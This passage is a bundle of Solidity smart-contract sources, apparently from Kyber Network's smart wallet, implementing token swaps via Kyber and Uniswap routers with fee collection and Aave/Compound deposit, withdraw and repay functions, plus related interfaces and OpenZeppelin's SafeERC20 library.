2535, 8863, 2 ]
pragma solidity 0.6.6; import "../interfaces/ISmartWalletSwapImplementation.sol"; import "./SmartWalletSwapStorage.sol"; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract SmartWalletSwapImplementation is SmartWalletSwapStorage, ISmartWalletSwapImplementation { using SafeERC20 for IERC20Ext; using SafeMath for uint256; event UpdatedSupportedPlatformWallets(address[] wallets, bool isSupported); event UpdatedBurnGasHelper(IBurnGasHelper indexed gasHelper); event UpdatedLendingImplementation(ISmartWalletLending impl); event ApprovedAllowances(IERC20Ext[] tokens, address[] spenders, bool isReset); event ClaimedPlatformFees(address[] wallets, IERC20Ext[] tokens, address claimer); constructor(address _admin) public SmartWalletSwapStorage(_admin) {} receive() external payable {} function updateBurnGasHelper(IBurnGasHelper _burnGasHelper) external onlyAdmin { if (burnGasHelper != _burnGasHelper) { burnGasHelper = _burnGasHelper; emit UpdatedBurnGasHelper(_burnGasHelper); } } function updateLendingImplementation(ISmartWalletLending newImpl) external onlyAdmin { require(newImpl != ISmartWalletLending(0), "invalid lending impl"); lendingImpl = newImpl; emit UpdatedLendingImplementation(newImpl); } /// @dev to prevent other integrations to call trade from this contract function updateSupportedPlatformWallets(address[] calldata wallets, bool isSupported) external onlyAdmin { for (uint256 i = 0; i < wallets.length; i++) { supportedPlatformWallets[wallets[i]] = isSupported; } emit UpdatedSupportedPlatformWallets(wallets, isSupported); } function claimPlatformFees(address[] calldata platformWallets, IERC20Ext[] calldata tokens) external override nonReentrant { for (uint256 i = 0; i < platformWallets.length; i++) { for (uint256 j = 0; j < tokens.length; j++) { uint256 fee = platformWalletFees[platformWallets[i]][tokens[j]]; if (fee > 1) { platformWalletFees[platformWallets[i]][tokens[j]] = 1; transferToken(payable(platformWallets[i]), tokens[j], fee - 1); } } } emit ClaimedPlatformFees(platformWallets, tokens, msg.sender); } function approveAllowances( IERC20Ext[] calldata tokens, address[] calldata spenders, bool isReset ) external onlyAdmin { uint256 allowance = isReset ? 0 : MAX_ALLOWANCE; for (uint256 i = 0; i < tokens.length; i++) { for (uint256 j = 0; j < spenders.length; j++) { tokens[i].safeApprove(spenders[j], allowance); } getSetDecimals(tokens[i]); } emit ApprovedAllowances(tokens, spenders, isReset); } /// ========== SWAP ========== /// /// @dev swap token via Kyber /// @notice for some tokens that are paying fee, for example: DGX /// contract will trade with received src token amount (after minus fee) /// for Kyber, fee will be taken in ETH as part of their feature function swapKyber( IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 minConversionRate, address payable recipient, uint256 platformFeeBps, address payable platformWallet, bytes calldata hint, bool useGasToken ) external payable override nonReentrant returns (uint256 destAmount) { uint256 gasBefore = useGasToken ? gasleft() : 0; destAmount = doKyberTrade( src, dest, srcAmount, minConversionRate, recipient, platformFeeBps, platformWallet, hint ); uint256 numGasBurns = 0; // burn gas token if needed if (useGasToken) { numGasBurns = burnGasTokensAfter(gasBefore); } emit KyberTrade( msg.sender, src, dest, srcAmount, destAmount, recipient, platformFeeBps, platformWallet, hint, useGasToken, numGasBurns ); } /// @dev swap token via a supported Uniswap router /// @notice for some tokens that are paying fee, for example: DGX /// contract will trade with received src token amount (after minus fee) /// for Uniswap, fee will be taken in src token function swapUniswap( IUniswapV2Router02 router, uint256 srcAmount, uint256 minDestAmount, address[] calldata tradePath, address payable recipient, uint256 platformFeeBps, address payable platformWallet, bool feeInSrc, bool useGasToken ) external payable override nonReentrant returns (uint256 destAmount) { uint256 numGasBurns; { // prevent stack too deep uint256 gasBefore = useGasToken ? gasleft() : 0; destAmount = swapUniswapInternal( router, srcAmount, minDestAmount, tradePath, recipient, platformFeeBps, platformWallet, feeInSrc ); if (useGasToken) { numGasBurns = burnGasTokensAfter(gasBefore); } } emit UniswapTrade( msg.sender, address(router), tradePath, srcAmount, destAmount, recipient, platformFeeBps, platformWallet, feeInSrc, useGasToken, numGasBurns ); } /// ========== SWAP & DEPOSIT ========== /// function swapKyberAndDeposit( ISmartWalletLending.LendingPlatform platform, IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 minConversionRate, uint256 platformFeeBps, address payable platformWallet, bytes calldata hint, bool useGasToken ) external payable override nonReentrant returns (uint256 destAmount) { require(lendingImpl != ISmartWalletLending(0)); uint256 gasBefore = useGasToken ? gasleft() : 0; if (src == dest) { // just collect src token, no need to swap destAmount = safeForwardTokenAndCollectFee( src, msg.sender, payable(address(lendingImpl)), srcAmount, platformFeeBps, platformWallet ); } else { destAmount = doKyberTrade( src, dest, srcAmount, minConversionRate, payable(address(lendingImpl)), platformFeeBps, platformWallet, hint ); } // eth or token alr transferred to the address lendingImpl.depositTo(platform, msg.sender, dest, destAmount); uint256 numGasBurns = 0; if (useGasToken) { numGasBurns = burnGasTokensAfter(gasBefore); } emit KyberTradeAndDeposit( msg.sender, platform, src, dest, srcAmount, destAmount, platformFeeBps, platformWallet, hint, useGasToken, numGasBurns ); } /// @dev swap Uniswap then deposit to platform /// if tradePath has only 1 token, don't need to do swap /// @param platform platform to deposit /// @param router which Uni-clone to use for swapping /// @param srcAmount amount of src token /// @param minDestAmount minimal accepted dest amount /// @param tradePath path of the trade on Uniswap /// @param platformFeeBps fee if swapping /// @param platformWallet wallet to receive fee /// @param useGasToken whether to use gas token or not function swapUniswapAndDeposit( ISmartWalletLending.LendingPlatform platform, IUniswapV2Router02 router, uint256 srcAmount, uint256 minDestAmount, address[] calldata tradePath, uint256 platformFeeBps, address payable platformWallet, bool useGasToken ) external payable override nonReentrant returns (uint256 destAmount) { require(lendingImpl != ISmartWalletLending(0)); uint256 gasBefore = useGasToken ? gasleft() : 0; { IERC20Ext dest = IERC20Ext(tradePath[tradePath.length - 1]); if (tradePath.length == 1) { // just collect src token, no need to swap destAmount = safeForwardTokenAndCollectFee( dest, msg.sender, payable(address(lendingImpl)), srcAmount, platformFeeBps, platformWallet ); } else { destAmount = swapUniswapInternal( router, srcAmount, minDestAmount, tradePath, payable(address(lendingImpl)), platformFeeBps, platformWallet, false ); } // eth or token alr transferred to the address lendingImpl.depositTo(platform, msg.sender, dest, destAmount); } uint256 numGasBurns = 0; if (useGasToken) { numGasBurns = burnGasTokensAfter(gasBefore); } emit UniswapTradeAndDeposit( msg.sender, platform, router, tradePath, srcAmount, destAmount, platformFeeBps, platformWallet, useGasToken, numGasBurns ); } /// @dev withdraw token from Lending platforms (AAVE, COMPOUND) /// @param platform platform to withdraw token /// @param token underlying token to withdraw, e.g ETH, USDT, DAI /// @param amount amount of cToken (COMPOUND) or aToken (AAVE) to withdraw /// @param minReturn minimum amount of USDT tokens to return /// @param useGasToken whether to use gas token or not /// @return returnedAmount returns the amount withdrawn to the user function withdrawFromLendingPlatform( ISmartWalletLending.LendingPlatform platform, IERC20Ext token, uint256 amount, uint256 minReturn, bool useGasToken ) external override nonReentrant returns (uint256 returnedAmount) { require(lendingImpl != ISmartWalletLending(0)); uint256 gasBefore = useGasToken ? gasleft() : 0; IERC20Ext lendingToken = IERC20Ext(lendingImpl.getLendingToken(platform, token)); require(lendingToken != IERC20Ext(0), "unsupported token"); // AAVE aToken's transfer logic could have rounding errors uint256 tokenBalanceBefore = lendingToken.balanceOf(address(lendingImpl)); lendingToken.safeTransferFrom(msg.sender, address(lendingImpl), amount); uint256 tokenBalanceAfter = lendingToken.balanceOf(address(lendingImpl)); returnedAmount = lendingImpl.withdrawFrom( platform, msg.sender, token, tokenBalanceAfter.sub(tokenBalanceBefore), minReturn ); uint256 numGasBurns; if (useGasToken) { numGasBurns = burnGasTokensAfter(gasBefore); } emit WithdrawFromLending( platform, token, amount, minReturn, returnedAmount, useGasToken, numGasBurns ); } /// @dev swap on Kyber and repay borrow for sender /// if src == dest, no need to swap, use src token to repay directly /// @param payAmount: amount that user wants to pay, if the dest amount (after swap) is higher, /// the remain amount will be sent back to user's wallet /// @param feeAndRateMode: in case of aave v2, user needs to specify the rateMode to repay /// to prevent stack too deep, combine fee and rateMode into a single value /// platformFee: feeAndRateMode % BPS, rateMode: feeAndRateMode / BPS /// Other params are params for trade on Kyber function swapKyberAndRepay( ISmartWalletLending.LendingPlatform platform, IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 payAmount, uint256 feeAndRateMode, address payable platformWallet, bytes calldata hint, bool useGasToken ) external payable override nonReentrant returns (uint256 destAmount) { uint256 numGasBurns; { require(lendingImpl != ISmartWalletLending(0)); uint256 gasBefore = useGasToken ? gasleft() : 0; { // use user debt value if debt is <= payAmount, // user can pay all debt by putting really high payAmount as param payAmount = checkUserDebt(platform, address(dest), payAmount); if (src == dest) { if (src == ETH_TOKEN_ADDRESS) { require(msg.value == srcAmount, "invalid msg value"); transferToken(payable(address(lendingImpl)), src, srcAmount); } else { destAmount = srcAmount > payAmount ? payAmount : srcAmount; src.safeTransferFrom(msg.sender, address(lendingImpl), destAmount); } } else { // use user debt value if debt is <= payAmount payAmount = checkUserDebt(platform, address(dest), payAmount); // use min rate so it can return earlier if failed to swap uint256 minRate = calcRateFromQty(srcAmount, payAmount, src.decimals(), dest.decimals()); destAmount = doKyberTrade( src, dest, srcAmount, minRate, payable(address(lendingImpl)), feeAndRateMode % BPS, platformWallet, hint ); } } lendingImpl.repayBorrowTo( platform, msg.sender, dest, destAmount, payAmount, feeAndRateMode / BPS ); if (useGasToken) { numGasBurns = burnGasTokensAfter(gasBefore); } } emit KyberTradeAndRepay( msg.sender, platform, src, dest, srcAmount, destAmount, payAmount, feeAndRateMode, platformWallet, hint, useGasToken, numGasBurns ); } /// @dev swap on Uni-clone and repay borrow for sender /// if tradePath.length == 1, no need to swap, use tradePath[0] token to repay directly /// @param payAmount: amount that user wants to pay, if the dest amount (after swap) is higher, /// the remain amount will be sent back to user's wallet /// @param feeAndRateMode: in case of aave v2, user needs to specify the rateMode to repay /// to prevent stack too deep, combine fee and rateMode into a single value /// platformFee: feeAndRateMode % BPS, rateMode: feeAndRateMode / BPS /// Other params are params for trade on Uni-clone function swapUniswapAndRepay( ISmartWalletLending.LendingPlatform platform, IUniswapV2Router02 router, uint256 srcAmount, uint256 payAmount, address[] calldata tradePath, uint256 feeAndRateMode, address payable platformWallet, bool useGasToken ) external payable override nonReentrant returns (uint256 destAmount) { uint256 numGasBurns; { // scope to prevent stack too deep require(lendingImpl != ISmartWalletLending(0)); uint256 gasBefore = useGasToken ? gasleft() : 0; IERC20Ext dest = IERC20Ext(tradePath[tradePath.length - 1]); // use user debt value if debt is <= payAmount // user can pay all debt by putting really high payAmount as param payAmount = checkUserDebt(platform, address(dest), payAmount); if (tradePath.length == 1) { if (dest == ETH_TOKEN_ADDRESS) { require(msg.value == srcAmount, "invalid msg value"); transferToken(payable(address(lendingImpl)), dest, srcAmount); } else { destAmount = srcAmount > payAmount ? payAmount : srcAmount; dest.safeTransferFrom(msg.sender, address(lendingImpl), destAmount); } } else { destAmount = swapUniswapInternal( router, srcAmount, payAmount, tradePath, payable(address(lendingImpl)), feeAndRateMode % BPS, platformWallet, false ); } lendingImpl.repayBorrowTo( platform, msg.sender, dest, destAmount, payAmount, feeAndRateMode / BPS ); if (useGasToken) { numGasBurns = burnGasTokensAfter(gasBefore); } } emit UniswapTradeAndRepay( msg.sender, platform, router, tradePath, srcAmount, destAmount, payAmount, feeAndRateMode, platformWallet, useGasToken, numGasBurns ); } function claimComp( address[] calldata holders, ICompErc20[] calldata cTokens, bool borrowers, bool suppliers, bool useGasToken ) external override nonReentrant { uint256 gasBefore = useGasToken ? gasleft() : 0; lendingImpl.claimComp(holders, cTokens, borrowers, suppliers); if (useGasToken) { burnGasTokensAfter(gasBefore); } } /// @dev get expected return and conversion rate if using Kyber function getExpectedReturnKyber( IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 platformFee, bytes calldata hint ) external view override returns (uint256 destAmount, uint256 expectedRate) { try kyberProxy.getExpectedRateAfterFee(src, dest, srcAmount, platformFee, hint) returns ( uint256 rate ) { expectedRate = rate; } catch { expectedRate = 0; } destAmount = calcDestAmount(src, dest, srcAmount, expectedRate); } /// @dev get expected return and conversion rate if using a Uniswap router function getExpectedReturnUniswap( IUniswapV2Router02 router, uint256 srcAmount, address[] calldata tradePath, uint256 platformFee ) external view override returns (uint256 destAmount, uint256 expectedRate) { if (platformFee >= BPS) return (0, 0); // platform fee is too high if (!isRouterSupported[router]) return (0, 0); // router is not supported uint256 srcAmountAfterFee = (srcAmount * (BPS - platformFee)) / BPS; if (srcAmountAfterFee == 0) return (0, 0); // in case pair is not supported try router.getAmountsOut(srcAmountAfterFee, tradePath) returns (uint256[] memory amounts) { destAmount = amounts[tradePath.length - 1]; } catch { destAmount = 0; } expectedRate = calcRateFromQty( srcAmountAfterFee, destAmount, getDecimals(IERC20Ext(tradePath[0])), getDecimals(IERC20Ext(tradePath[tradePath.length - 1])) ); } function checkUserDebt( ISmartWalletLending.LendingPlatform platform, address token, uint256 amount ) internal returns (uint256) { uint256 debt = lendingImpl.storeAndRetrieveUserDebtCurrent(platform, token, msg.sender); if (debt >= amount) { return amount; } return debt; } function doKyberTrade( IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 minConversionRate, address payable recipient, uint256 platformFeeBps, address payable platformWallet, bytes memory hint ) internal virtual returns (uint256 destAmount) { uint256 actualSrcAmount = validateAndPrepareSourceAmount(address(kyberProxy), src, srcAmount, platformWallet); uint256 callValue = src == ETH_TOKEN_ADDRESS ? actualSrcAmount : 0; destAmount = kyberProxy.tradeWithHintAndFee{value: callValue}( src, actualSrcAmount, dest, recipient, MAX_AMOUNT, minConversionRate, platformWallet, platformFeeBps, hint ); } function swapUniswapInternal( IUniswapV2Router02 router, uint256 srcAmount, uint256 minDestAmount, address[] memory tradePath, address payable recipient, uint256 platformFeeBps, address payable platformWallet, bool feeInSrc ) internal returns (uint256 destAmount) { TradeInput memory input = TradeInput({ srcAmount: srcAmount, minData: minDestAmount, recipient: recipient, platformFeeBps: platformFeeBps, platformWallet: platformWallet, hint: "" }); // extra validation when swapping on Uniswap require(isRouterSupported[router], "unsupported router"); require(platformFeeBps < BPS, "high platform fee"); IERC20Ext src = IERC20Ext(tradePath[0]); input.srcAmount = validateAndPrepareSourceAmount( address(router), src, srcAmount, platformWallet ); destAmount = doUniswapTrade(router, src, tradePath, input, feeInSrc); } function doUniswapTrade( IUniswapV2Router02 router, IERC20Ext src, address[] memory tradePath, TradeInput memory input, bool feeInSrc ) internal virtual returns (uint256 destAmount) { uint256 tradeLen = tradePath.length; IERC20Ext actualDest = IERC20Ext(tradePath[tradeLen - 1]); { // convert eth -> weth address to trade on Uniswap if (tradePath[0] == address(ETH_TOKEN_ADDRESS)) { tradePath[0] = router.WETH(); } if (tradePath[tradeLen - 1] == address(ETH_TOKEN_ADDRESS)) { tradePath[tradeLen - 1] = router.WETH(); } } uint256 srcAmountFee; uint256 srcAmountAfterFee; uint256 destBalanceBefore; address recipient; if (feeInSrc) { srcAmountFee = input.srcAmount.mul(input.platformFeeBps).div(BPS); srcAmountAfterFee = input.srcAmount.sub(srcAmountFee); recipient = input.recipient; } else { srcAmountAfterFee = input.srcAmount; destBalanceBefore = getBalance(actualDest, address(this)); recipient = address(this); } uint256[] memory amounts; if (src == ETH_TOKEN_ADDRESS) { // swap eth -> token amounts = router.swapExactETHForTokens{value: srcAmountAfterFee}( input.minData, tradePath, recipient, MAX_AMOUNT ); } else { if (actualDest == ETH_TOKEN_ADDRESS) { // swap token -> eth amounts = router.swapExactTokensForETH( srcAmountAfterFee, input.minData, tradePath, recipient, MAX_AMOUNT ); } else { // swap token -> token amounts = router.swapExactTokensForTokens( srcAmountAfterFee, input.minData, tradePath, recipient, MAX_AMOUNT ); } } if (!feeInSrc) { // fee in dest token, calculated received dest amount uint256 destBalanceAfter = getBalance(actualDest, address(this)); destAmount = destBalanceAfter.sub(destBalanceBefore); uint256 destAmountFee = destAmount.mul(input.platformFeeBps).div(BPS); // charge fee in dest token addFeeToPlatform(input.platformWallet, actualDest, destAmountFee); // transfer back dest token to recipient destAmount = destAmount.sub(destAmountFee); transferToken(input.recipient, actualDest, destAmount); } else { // fee in src amount destAmount = amounts[amounts.length - 1]; addFeeToPlatform(input.platformWallet, src, srcAmountFee); } } function validateAndPrepareSourceAmount( address protocol, IERC20Ext src, uint256 srcAmount, address platformWallet ) internal virtual returns (uint256 actualSrcAmount) { require(supportedPlatformWallets[platformWallet], "unsupported platform wallet"); if (src == ETH_TOKEN_ADDRESS) { require(msg.value == srcAmount, "wrong msg value"); actualSrcAmount = srcAmount; } else { require(msg.value == 0, "bad msg value"); uint256 balanceBefore = src.balanceOf(address(this)); src.safeTransferFrom(msg.sender, address(this), srcAmount); uint256 balanceAfter = src.balanceOf(address(this)); actualSrcAmount = balanceAfter.sub(balanceBefore); require(actualSrcAmount > 0, "invalid src amount"); safeApproveAllowance(protocol, src); } } function burnGasTokensAfter(uint256 gasBefore) internal virtual returns (uint256 numGasBurns) { if (burnGasHelper == IBurnGasHelper(0)) return 0; IGasToken gasToken; uint256 gasAfter = gasleft(); try burnGasHelper.getAmountGasTokensToBurn(gasBefore.sub(gasAfter).add(msg.data.length)) returns (uint256 _gasBurns, address _gasToken) { numGasBurns = _gasBurns; gasToken = IGasToken(_gasToken); } catch { numGasBurns = 0; } if (numGasBurns > 0 && gasToken != IGasToken(0)) { numGasBurns = gasToken.freeFromUpTo(msg.sender, numGasBurns); } } function safeForwardTokenAndCollectFee( IERC20Ext token, address from, address payable to, uint256 amount, uint256 platformFeeBps, address payable platformWallet ) internal returns (uint256 destAmount) { require(platformFeeBps < BPS, "high platform fee"); require(supportedPlatformWallets[platformWallet], "unsupported platform wallet"); uint256 feeAmount = (amount * platformFeeBps) / BPS; destAmount = amount - feeAmount; if (token == ETH_TOKEN_ADDRESS) { require(msg.value >= amount); (bool success, ) = to.call{value: destAmount}(""); require(success, "transfer eth failed"); } else { uint256 balanceBefore = token.balanceOf(to); token.safeTransferFrom(from, to, amount); uint256 balanceAfter = token.balanceOf(to); destAmount = balanceAfter.sub(balanceBefore); } addFeeToPlatform(platformWallet, token, feeAmount); } function addFeeToPlatform( address wallet, IERC20Ext token, uint256 amount ) internal { if (amount > 0) { platformWalletFees[wallet][token] = platformWalletFees[wallet][token].add(amount); } } function transferToken( address payable recipient, IERC20Ext token, uint256 amount ) internal { if (amount == 0) return; if (token == ETH_TOKEN_ADDRESS) { (bool success, ) = recipient.call{value: amount}(""); require(success, "failed to transfer eth"); } else { token.safeTransfer(recipient, amount); } } function safeApproveAllowance(address spender, IERC20Ext token) internal { if (token.allowance(address(this), spender) == 0) { getSetDecimals(token); token.safeApprove(spender, MAX_ALLOWANCE); } } } pragma solidity 0.6.6; import "../lending/ISmartWalletLending.sol"; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; interface ISmartWalletSwapImplementation { event KyberTrade( address indexed trader, IERC20Ext indexed src, IERC20Ext indexed dest, uint256 srcAmount, uint256 destAmount, address recipient, uint256 platformFeeBps, address platformWallet, bytes hint, bool useGasToken, uint numGasBurns ); event UniswapTrade( address indexed trader, address indexed router, address[] tradePath, uint256 srcAmount, uint256 destAmount, address recipient, uint256 platformFeeBps, address platformWallet, bool feeInSrc, bool useGasToken, uint256 numGasBurns ); event KyberTradeAndDeposit( address indexed trader, ISmartWalletLending.LendingPlatform indexed platform, IERC20Ext src, IERC20Ext indexed dest, uint256 srcAmount, uint256 destAmount, uint256 platformFeeBps, address platformWallet, bytes hint, bool useGasToken, uint numGasBurns ); event UniswapTradeAndDeposit( address indexed trader, ISmartWalletLending.LendingPlatform indexed platform, IUniswapV2Router02 indexed router, address[] tradePath, uint256 srcAmount, uint256 destAmount, uint256 platformFeeBps, address platformWallet, bool useGasToken, uint256 numGasBurns ); event BorrowFromLending( ISmartWalletLending.LendingPlatform indexed platform, IERC20Ext token, uint256 amountBorrowed, uint256 interestRateMode, bool useGasToken, uint256 numGasBurns ); event WithdrawFromLending( ISmartWalletLending.LendingPlatform indexed platform, IERC20Ext token, uint256 amount, uint256 minReturn, uint256 actualReturnAmount, bool useGasToken, uint256 numGasBurns ); event KyberTradeAndRepay( address indexed trader, ISmartWalletLending.LendingPlatform indexed platform, IERC20Ext src, IERC20Ext indexed dest, uint256 srcAmount, uint256 destAmount, uint256 payAmount, uint256 feeAndRateMode, address platformWallet, bytes hint, bool useGasToken, uint numGasBurns ); event UniswapTradeAndRepay( address indexed trader, ISmartWalletLending.LendingPlatform indexed platform, IUniswapV2Router02 indexed router, address[] tradePath, uint256 srcAmount, uint256 destAmount, uint256 payAmount, uint256 feeAndRateMode, address platformWallet, bool useGasToken, uint256 numGasBurns ); function getExpectedReturnKyber( IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 platformFeeBps, bytes calldata hint ) external view returns ( uint256 destAmount, uint256 expectedRate ); function getExpectedReturnUniswap( IUniswapV2Router02 router, uint256 srcAmount, address[] calldata tradePath, uint256 platformFeeBps ) external view returns ( uint256 destAmount, uint256 expectedRate ); function swapKyber( IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 minConversionRate, address payable recipient, uint256 platformFeeBps, address payable platformWallet, bytes calldata hint, bool useGasToken ) external payable returns (uint256 destAmount); function swapUniswap( IUniswapV2Router02 router, uint256 srcAmount, uint256 minDestAmount, address[] calldata tradePath, address payable recipient, uint256 platformFeeBps, address payable platformWallet, bool feeInSrc, bool useGasToken ) external payable returns (uint256 destAmount); function swapKyberAndDeposit( ISmartWalletLending.LendingPlatform platform, IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 minConversionRate, uint256 platformFeeBps, address payable platformWallet, bytes calldata hint, bool useGasToken ) external payable returns (uint256 destAmount); function swapUniswapAndDeposit( ISmartWalletLending.LendingPlatform platform, IUniswapV2Router02 router, uint256 srcAmount, uint256 minDestAmount, address[] calldata tradePath, uint256 platformFeeBps, address payable platformWallet, bool useGasToken ) external payable returns (uint256 destAmount); function withdrawFromLendingPlatform( ISmartWalletLending.LendingPlatform platform, IERC20Ext token, uint256 amount, uint256 minReturn, bool useGasToken ) external returns (uint256 returnedAmount); function swapKyberAndRepay( ISmartWalletLending.LendingPlatform platform, IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 payAmount, uint256 feeAndRateMode, // in case aave v2, fee: feeAndRateMode % BPS, rateMode: feeAndRateMode / BPS address payable platformWallet, bytes calldata hint, bool useGasToken ) external payable returns (uint256 destAmount); function swapUniswapAndRepay( ISmartWalletLending.LendingPlatform platform, IUniswapV2Router02 router, uint256 srcAmount, uint256 payAmount, address[] calldata tradePath, uint256 feeAndRateMode, // in case aave v2, fee: feeAndRateMode % BPS, rateMode: feeAndRateMode / BPS address payable platformWallet, bool useGasToken ) external payable returns (uint256 destAmount); function claimComp( address[] calldata holders, ICompErc20[] calldata cTokens, bool borrowers, bool suppliers, bool useGasToken ) external; function claimPlatformFees( address[] calldata platformWallets, IERC20Ext[] calldata tokens ) external; } pragma solidity 0.6.6; import "../burnHelper/IBurnGasHelper.sol"; import "../interfaces/IKyberProxy.sol"; import "../interfaces/IGasToken.sol"; import "../lending/ISmartWalletLending.sol"; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; import "@kyber.network/utils-sc/contracts/Utils.sol"; import "@kyber.network/utils-sc/contracts/Withdrawable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; contract SmartWalletSwapStorage is Utils, Withdrawable, ReentrancyGuard { uint256 constant internal MAX_AMOUNT = uint256(-1); mapping (address => mapping(IERC20Ext => uint256)) public platformWalletFees; // Proxy and routers will be set only once in constructor IKyberProxy public kyberProxy; // check if a router (Uniswap or its clones) is supported mapping(IUniswapV2Router02 => bool) public isRouterSupported; IBurnGasHelper public burnGasHelper; mapping (address => bool) public supportedPlatformWallets; struct TradeInput { uint256 srcAmount; uint256 minData; // min rate if Kyber, min return if Uni-pools address payable recipient; uint256 platformFeeBps; address payable platformWallet; bytes hint; } ISmartWalletLending public lendingImpl; // bytes32(uint256(keccak256("SmartWalletSwapImplementation")) - 1) bytes32 internal constant IMPLEMENTATION = 0x6a7efb0627ddb0e69b773958c7c9c3c9c3dc049819cdf56a8ee84c3074b2a5d7; constructor(address _admin) public Withdrawable(_admin) {} } pragma solidity 0.6.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @dev Interface extending ERC20 standard to include decimals() as * it is optional in the OpenZeppelin IERC20 interface. */ interface IERC20Ext is IERC20 { /** * @dev This function is required as Kyber requires to interact * with token.decimals() with many of its operations. */ function decimals() external view returns (uint8 digits); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity 0.6.6; pragma experimental ABIEncoderV2; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; import "../interfaces/IAaveLendingPoolV2.sol"; import "../interfaces/IAaveLendingPoolV1.sol"; import "../interfaces/IWeth.sol"; import "../interfaces/ICompErc20.sol"; interface ISmartWalletLending { event ClaimedComp( address[] holders, ICompErc20[] cTokens, bool borrowers, bool suppliers ); enum LendingPlatform { AAVE_V1, AAVE_V2, COMPOUND } struct UserReserveData { uint256 currentATokenBalance; uint256 liquidityRate; uint256 poolShareInPrecision; bool usageAsCollateralEnabled; // Aave v1 data uint256 currentBorrowBalance; uint256 principalBorrowBalance; uint256 borrowRateMode; uint256 borrowRate; uint256 originationFee; // Aave v2 data uint256 currentStableDebt; uint256 currentVariableDebt; uint256 principalStableDebt; uint256 scaledVariableDebt; uint256 stableBorrowRate; } function updateAaveLendingPoolData( IAaveLendingPoolV2 poolV2, IProtocolDataProvider provider, IAaveLendingPoolV1 poolV1, address lendingPoolCoreV1, uint16 referalCode, IWeth weth, IERC20Ext[] calldata tokens ) external; function updateCompoundData( address _comptroller, address _cEth, address[] calldata _cTokens ) external; function depositTo( LendingPlatform platform, address payable onBehalfOf, IERC20Ext token, uint256 amount ) external; function borrowFrom( LendingPlatform platform, address payable onBehalfOf, IERC20Ext token, uint256 borrowAmount, uint256 interestRateMode ) external; function withdrawFrom( LendingPlatform platform, address payable onBehalfOf, IERC20Ext token, uint256 amount, uint256 minReturn ) external returns (uint256 returnedAmount); function repayBorrowTo( LendingPlatform platform, address payable onBehalfOf, IERC20Ext token, uint256 amount, uint256 payAmount, uint256 rateMode // only for aave v2 ) external; function claimComp( address[] calldata holders, ICompErc20[] calldata cTokens, bool borrowers, bool suppliers ) external; function storeAndRetrieveUserDebtCurrent( LendingPlatform platform, address _reserve, address _user ) external returns (uint256 debt); function getLendingToken(LendingPlatform platform, IERC20Ext token) external view returns(address); function getUserDebtStored(LendingPlatform platform, address reserve, address user) external view returns (uint256 debt); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function 